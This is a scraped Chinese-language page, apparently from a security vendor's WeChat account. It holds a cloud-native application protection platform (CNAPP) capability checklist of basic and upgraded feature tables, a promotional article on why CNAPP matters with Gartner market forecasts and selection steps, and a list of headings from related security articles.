✓

镜像仓库漏洞扫描
✓

支持CI/CD集成、Git集成
✓

漏洞优先级排序
✓

丰富的漏洞上下文（可利用性、修复日期、软件包修复版本）
✓

可操作的补救措施（更新软件包、更新镜像）
✓

跨云和Kubernetes的漏洞定义和策略验证
✓

通过准入控制器执行策略
✓

统一漏洞清单
✓

集成外部漏洞源
✓

支持策略中的镜像配置规则
✓

容器/K8S态势管理
基础版
升级版
跨Kubernetes、容器和主机的错误配置检测
✓

CIS基准（Kubernetes、Docker、Linux）要求
✓

可定制的策略/控件
✓

整个云环境统一可搜索的资产清单
✓

针对Kubernetes的IaC安全（扫描IaC清单中的配置错误）
✓

在源头（IaC）或运行时环境中对违规策略进行补救
✓

运行时安全与事件响应
基础版
升级版
恶意行为实时检测
✓

持续更新的开箱即用规则覆盖
✓

集成威胁信息源
✓

灵活的规则语言以支持自定义检测
✓

具备机器学习能力的多层保护，作为基于规则的检测的补充
✓

容器漂移检测和防护
✓

深入了解安全事件并进行取证
✓

详细且可操作的取证数据捕获
✓

支持Linux主机
✓

具有自动化操作的运行时策略（终止、停止、暂停容器）
✓

与SIEM集成
✓

与事件响应系统集成（例如PagerDuty）
✓

实时文件完整性监控
✓

K8S网络安全分析
✓

支持serverless

✓

云安全态势管理

持续监控、检测和纠正云安全错误配置，是任何成熟的云工作负载和云原生应用程序保护平台重要的一组功能，需要包含以下功能：
态势管理（云/IaaS）
基础版
升级版
跨多个云提供商的错误配置检测
✓

对IaC清单进行错误配置扫描（IaC安全）
✓

检测配置漂移（从IaC到运行资源）
✓

在源头进行补救（通过自动拉取请求）

✓
支持自定义策略
✓

在源头（IaC）或运行环境中对策略违规进行纠正
✓

行业基准和法规合规框架的开箱即用策略
✓

整个云环境统一可搜索的资产清单
✓

利用生成式人工智能在云库存资产上进行自然语言搜索和查询

✓
合规报告
✓

具有运行时上下文的攻击路径分析
✓

组合风险检测（即有害组合）
✓

MITRE风险映射
✓

基于运行时上下文和静态检查的风险优先级排序
✓

云漏洞管理
基础版
升级版
基于agent或agentless扫描云主机
✓

基于运行时上下文的漏洞优先级排序
✓

Jira/工单集成
✓

权限/授权管理
基础版
升级版
识别风险用户属性，如未开启多因素认证，访问密钥未轮换等
✓

权限使用评估
✓

基于运行时访问模式的最小特权访问策略（CIEM）
✓

针对过度权限提供引导性补救措施，并推荐最低特权IAM策略
✓

云检测和响应

基础版
升级版
实时检测恶意活动
✓

持续更新的管理策略
✓

针对安全和合规框架（如MITRE、PCI等）的开箱即用策略
✓

集成威胁情报源（例如恶意IP）
✓

灵活的规则语言以支持自定义检测
✓

具备机器学习能力的多层保护，作为基于规则检测的补充

✓
跨工作负载、身份、云服务和软件供应链的端到端检测
✓

SaaS应用程序检测

✓
实时检测异常的云活动
✓

深入了解安全事件并进行取证
✓

详细且可操作的取证数据捕获
✓

自动调整策略和规则以最小化误报
✓

将安全事件转发至第三方安全和运维工具
✓

从云和其他环境上下文中丰富事件信息
✓

实时检测横向移动
✓

具有相关上下文的攻击过程
✓

基础设施和工作负载的实时映射
✓

威胁映射至MITRE ATT&CK框架

✓
在多个事件/来源之间进行跨领域数据关联

✓
支持Linux主机
✓

无服务器支持

✓
支持所有主要云、Linux和Kubernetes供应商

✓
用户体验

对于安全运营团队而言，强大而成熟的用户体验至关重要。云原生应用保护平台应提供如下能力：

	基础版	升级版
跨云、容器和Kubernetes统一的安全风险看板	✓
支持Agent和Agentless	✓
通过评估发现上下文和潜在攻击路径的组合生成等方法聚合生成风险等级	✓
拥有修复指南和方法		✓
完全可配置的规则和策略引擎	✓
公开APIs		✓
生成式人工智能增强功能		✓

-完-

热门动态推荐

阅读原文

跳转微信打开

为什么CNAPP将会是网络安全领域的一场革命？

Tue, 12 Mar 2024 18:34:00 +0800

原创网安人的智囊团 2024-03-12 18:34 北京

CNAPP是一个立体的解决方案，为DevOps团队提供了统一的自动化安全功能，能够实时监控容器、工作负载等，覆盖了整个云原生应用程序全生命周期。很多先进组织，正在使用CNAPP来加强混合云环境的安全性和可见性。

随着越来越多的组织开始业务上云，云原生应用保护变得越来越复杂。众多高度碎片化产品，很难去保护一个广泛的、动态变化的攻击场景。当前想要解决这一难题，有一个很好的思路，就是云原生应用保护平台（CNAPP）。

为什么传统安全解决方案并不是云安全最佳选择

为什么安全问题变得如此复杂？

有些组织在不断上云过程中，堆砌了众多碎片化的安全产品。导致的结果就是安全团队有时要从多达十几种单独运行的工具中去寻找一个“线索”！

云环境通常涉及众多的微服务、容器化架构，这与传统IT环境差别甚大。这就是为什么在当今分布式和动态的云环境中，传统入侵检测和防火墙往往力不从心的原因。这些安全模式设计之初是用来服务像数据中心这样的固定网络边界的，而不是今天司空见惯的复杂的分布式云环境。

真正的云安全需要CNAPP

Gartner预测全球CNAPP市场预计在2022年至2027年间以19.9%的复合年增长率增长，达到193亿美元。

CNAPP是为保护基于云的基础设施和应用程序而构建的。该解决方案具有敏捷性、动态性和可伸缩性。虽然安全解决方案，如云基础设施授权管理（CIEM）、云工作负载保护平台（CWPP）和云安全姿势管理（CSPM）确实都在某一个方面提供了安全防护效果，但它们无法连接各个环节来进行整合。但CNAPP帮助用户基于优先级进行风险处理，大幅减轻安全团队的工作压力，主要表现在以下几个方面：

提高投资回报率：将多种产品替换为更高效的统一解决方案，跨内部团队使用。
推动团队效率提升：让团队专注于他们认为对业务至关重要的领域。
提高资产可见性：能够跨云提供统一的资产看板。
优先考虑真正的业务风险：利用广泛的数据确定最大的风险暴露点。
自动化安全：安全流程可以自动化，而不是手动验证。
满足监管要求：具备内置合规检查、各种监管框架的修复指导和报告功能。

总得来说，CNAPP提供了一种简化的安全架构，使企业能够降低操作的复杂性和成本，无需通过增加人力或投资更多工具进行额外投资。CNAPP是专为云原生环境量身定制，与应用程序开发生命周期高度集成，不会增加应用程序的额外复杂性的综合性解决方案。

如何选择CNAPP解决方案

当前，市场正在发生快速转变，各个组织都开始倾向于使用整合云安全解决方案。Gartner预测到2025年，60%的企业将把云工作负载保护平台（CWPP）和云安全姿态管理（CSPM）功能整合到单一供应商，而2022年的时候这个数字只有25%。

如果您正在考虑CNAPP，以下是选择合适合作伙伴的快速步骤。关于这一部分内容，笔者会专门出一期内容《云原生应用保护平台（CNAPP）购买指南（2024）》，后期大家可以关注。

（1）明确目标，最希望CNAPP解决什么问题，例如可见性和威胁检测

（2）筛选与您当前平台/工具兼容的CNAPP

（3）检查CNAPP处理组织中常见云原生安全问题的能力

（4）检查其解决合规和监管需求的能力

（5）检查其部署实施的便捷性

-完-

热门动态推荐

阅读原文

跳转微信打开

风险管理	基础版	升级版
运行时容器镜像漏洞扫描	✓
主机漏洞扫描（虚拟机）	✓
镜像仓库漏洞扫描	✓
支持CI/CD集成、Git集成	✓
漏洞优先级排序	✓
丰富的漏洞上下文（可利用性、修复日期、软件包修复版本）	✓
可操作的补救措施（更新软件包、更新镜像）	✓
跨云和Kubernetes的漏洞定义和策略验证	✓
通过准入控制器执行策略	✓
统一漏洞清单	✓
集成外部漏洞源	✓
支持策略中的镜像配置规则	✓
容器/K8S态势管理	基础版	升级版
跨Kubernetes、容器和主机的错误配置检测	✓
CIS基准（Kubernetes、Docker、Linux）要求	✓
可定制的策略/控件	✓
整个云环境统一可搜索的资产清单	✓
针对Kubernetes的IaC安全（扫描IaC清单中的配置错误）	✓
在源头（IaC）或运行时环境中对违规策略进行补救	✓
运行时安全与事件响应	基础版	升级版
恶意行为实时检测	✓
持续更新的开箱即用规则覆盖	✓
集成威胁信息源	✓
灵活的规则语言以支持自定义检测	✓
具备机器学习能力的多层保护，作为基于规则的检测的补充	✓
容器漂移检测和防护	✓
深入了解安全事件并进行取证	✓
详细且可操作的取证数据捕获	✓
支持Linux主机	✓
具有自动化操作的运行时策略（终止、停止、暂停容器）	✓
与SIEM集成	✓
与事件响应系统集成（例如PagerDuty）	✓
实时文件完整性监控	✓
K8S网络安全分析	✓
支持serverless		✓

态势管理（云/IaaS）	基础版	升级版
跨多个云提供商的错误配置检测	✓
对IaC清单进行错误配置扫描（IaC安全）	✓
检测配置漂移（从IaC到运行资源）	✓
在源头进行补救（通过自动拉取请求）		✓
支持自定义策略	✓
在源头（IaC）或运行环境中对策略违规进行纠正	✓
行业基准和法规合规框架的开箱即用策略	✓
整个云环境统一可搜索的资产清单	✓
利用生成式人工智能在云库存资产上进行自然语言搜索和查询		✓
合规报告	✓
具有运行时上下文的攻击路径分析	✓
组合风险检测（即有害组合）	✓
MITRE风险映射	✓
基于运行时上下文和静态检查的风险优先级排序	✓
云漏洞管理	基础版	升级版
基于agent或agentless扫描云主机	✓
基于运行时上下文的漏洞优先级排序	✓
Jira/工单集成	✓
权限/授权管理	基础版	升级版
识别风险用户属性，如未开启多因素认证，访问密钥未轮换等	✓
权限使用评估	✓
基于运行时访问模式的最小特权访问策略（CIEM）	✓
针对过度权限提供引导性补救措施，并推荐最低特权IAM策略	✓

	基础版	升级版
实时检测恶意活动	✓
持续更新的管理策略	✓
针对安全和合规框架（如MITRE、PCI等）的开箱即用策略	✓
集成威胁情报源（例如恶意IP）	✓
灵活的规则语言以支持自定义检测	✓
具备机器学习能力的多层保护，作为基于规则检测的补充		✓
跨工作负载、身份、云服务和软件供应链的端到端检测	✓
SaaS应用程序检测		✓
实时检测异常的云活动	✓
深入了解安全事件并进行取证	✓
详细且可操作的取证数据捕获	✓
自动调整策略和规则以最小化误报	✓
将安全事件转发至第三方安全和运维工具	✓
从云和其他环境上下文中丰富事件信息	✓
实时检测横向移动	✓
具有相关上下文的攻击过程	✓
基础设施和工作负载的实时映射	✓
威胁映射至MITRE ATT&CK框架		✓
在多个事件/来源之间进行跨领域数据关联		✓
支持Linux主机	✓
无服务器支持		✓
支持所有主要云、Linux和Kubernetes供应商		✓

青藤智库

网络安全大模型的路线和方向

应用数据安全：数字化时代的重要“战场”

1.在安全技术方面

2.在安全投入方面

基于杀伤链的勒索软件控制框架

正式发布:《基于杀伤链的勒索软件防御指南》

企业级EDR实施技术指南：十大关键要素深度解析

1. 技术代差：从“规则匹配”到“行为基因分析”

2. 架构鸿沟：云原生VS“伪上云”

3. 生态短板：国产化适配的“最后一公里”

1. 突破“重运维、轻检测响应”的思维桎梏

2. 终结“内外威胁双盲”困局

3. 打破“数据孤岛”：从单点防护到作战网络

1. 轻量化Agent革命：从“资源黑洞”到“隐形卫士”

2. 智能决策革命：AI驱动的“威胁免疫系统”

3. 云边协同革命：分布式流处理引擎

区域边缘节点预分析，云端全局威胁图谱实时同步，时延<50ms。

支持K8s DaemonSet模式，秒级监控容器集群异常实例。

4. 主动防御革命：攻击面自收敛技术

EDR技术革命：从被动防御到智能反制的进化之路

ATT&CK实践进入深水区 ---不要再迷信ATT&CK覆盖率

数据安全新报告，落实央行等七部门发布的新政策

抓不完，根本抓不完的0day，青藤RASP已经接连抓了3个0day

勒索软件的防御手段和检测技术

LockBit引领勒索软件进入下个时代

内网拓扑可视化及管控技术

（1）资产梳理

（2） 流量学习及暴露面分析

（3）策略配置

（4）测试及阻断

（5）策略运营

雷峰网 | RASP技术，「入侵者」如何成为网络安全「守护神」？

应用安全危机四伏

RASP 技术：应用安全的终极防线

那么，究竟什么措施才能有效防护应用安全呢？

青藤天睿•RASP：为应用植入原生安全能力

RASP，即"Runtime Application Self-Protection"（运行时应用程序自我保护），在2014年被 Gartner 公司的应用安全报告确定为该领域的一个重要发展趋势。

写在最后

2024年云安全防护策略与最佳实践

CWPP的六大评估维度

十大云安全威胁

XXL-JOB漏洞分析与利用

Exchange攻防系列之CVE-2019-1040分析

选型指南：CNAPP能力成熟度评估Checklist

除了工作负载保护和态势评估之外，云检测与响应也是需要重点关注的一个方面。正如前面提到的，传统将本地安全工具和工作流程调整以适应云原生场景的做法很难真正解决云自身的安全问题。CNAPP平台应支持以下功能：

对于安全运营团队而言，强大而成熟的用户体验至关重要。云原生应用保护平台应提供如下能力：

为什么CNAPP将会是网络安全领域的一场革命？

Gartner预测全球CNAPP市场预计在2022年至2027年间以19.9%的复合年增长率增长，达到193亿美元。

当前，市场正在发生快速转变，各个组织都开始倾向于使用整合云安全解决方案。Gartner预测到2025年，60%的企业将把云工作负载保护平台（CWPP）和云安全姿态管理（CSPM）功能整合到单一供应商，而2022年的时候这个数字只有25%。

（2）流量学习及暴露面分析